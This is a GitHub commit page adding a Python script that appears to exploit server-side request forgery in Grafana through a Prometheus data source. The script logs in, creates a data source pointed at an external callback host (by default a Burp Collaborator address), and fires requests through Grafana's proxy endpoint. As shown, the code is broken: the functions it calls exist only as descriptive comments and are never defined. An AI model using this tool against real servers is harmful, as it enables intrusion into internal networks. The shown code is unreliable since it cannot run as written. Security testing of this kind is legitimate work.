Create ssrf_ywing.py

This commit is contained in:
Omar Santos 2023-07-03 18:22:09 -04:00 committed by GitHub
parent ec21ee0885
commit 5688dab375
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -0,0 +1,92 @@
#!/usr/bin/env python
# This script is used to test a Grafana instance for Server Side Request Forgery (SSRF) vulnerabilities through Prometheus.
# This was originally authored by @RandomRobbieBF.
# Note: The SSRF exploit attempted by this script does not follow redirects.
# Importing the required libraries
import requests
import json
import sys
import argparse
import re
import os.path
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Disabling warnings from insecure requests for cleaner output.
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Creating a new session object that will persist across requests
session = requests.Session()
# Parsing arguments from the command line
parser = argparse.ArgumentParser()
# The user can optionally provide a session cookie. If not provided, a default value is used.
parser.add_argument("-s", "--session", required=False ,default="9765ac114207245baf67dfd2a5e29f3a",help="Session Cookie Value")
# The URL of the host to be checked for SSRF. It needs to have http or https.
parser.add_argument("-u", "--url", required=False, default="http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net",help="URL of host to check will need http or https")
# The Grafana host URL. This argument is required.
parser.add_argument("-H", "--host", default="http://kubernetes.docker.internal:5000",required=True, help="Host for Grafana")
# Username for the Grafana instance. It's not required by default.
parser.add_argument("-U", "--username", default="",required=False, help="Username for Grafana")
# Password for the Grafana instance. It's not required by default.
parser.add_argument("-P", "--password", default="",required=False, help="Password for Grafana")
# If the user wants to use a proxy for debugging, they can provide it here.
parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for debugging")
# Parsing the arguments
args = parser.parse_args()
# Assigning parsed arguments to variables
ssrf_url = args.url
sessionid = args.session
ghost = args.host
username = args.username
password = args.password
# If a proxy is provided, it's set up as the environment variable for the current session
if args.proxy:
http_proxy = args.proxy
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy
# Function to create a source in the Grafana instance.
def create_source(sessionid, ssrf_url,ghost):
# Preparing the request body and headers
# The request is sent to /api/datasources endpoint of the Grafana instance
# If the source with the same name already exists, the script will exit and prompt user to delete it manually.
# If the source is successfully created, the function will return the ID of the new source.
# Function to refresh the data source in Grafana. The request is sent to /api/datasources/{id} endpoint of the Grafana instance.
# If the source is successfully refreshed, it prints "Refreshed Sources", else, it deletes the source and print the error.
# Function to create a SSRF in the Grafana instance.
# If the SSRF is successfully created, it prints "SSRF Source Updated", else, it deletes the source and print the error.
# Function to check if the SSRF is working by sending a GET request to /api/datasources/proxy/{id}/ endpoint of the Grafana instance.
# If the response status code is not 502, it prints the status code and response body, else, it deletes the source and print the error.
# Function to delete a data source in the Grafana instance. The request is sent to /api/datasources/{id} endpoint of the Grafana instance.
# If the data source is successfully deleted, it prints "Deleted Old SSRF Source", else, it exits the script and print the error.
# Function to log in to the Grafana instance. It sends a POST request to /login endpoint of the Grafana instance.
# If the login is successful, it returns the session cookie, else, it exits the script and print the error.
# If the user has provided a username, it uses the login function to get the sessionid
if username:
sessionid = login(ghost,username,password)
# If the user has provided a SSRF URL, it creates a source, refreshes the source, creates a SSRF, and checks the SSRF.
if ssrf_url:
i = create_source(sessionid,ssrf_url,ghost)
id = str(i)
refresh_source(ghost,sessionid,id)
create_ssrf(sessionid,ssrf_url,ghost,id)
check_ssrf(sessionid,id,ghost,ssrf_url)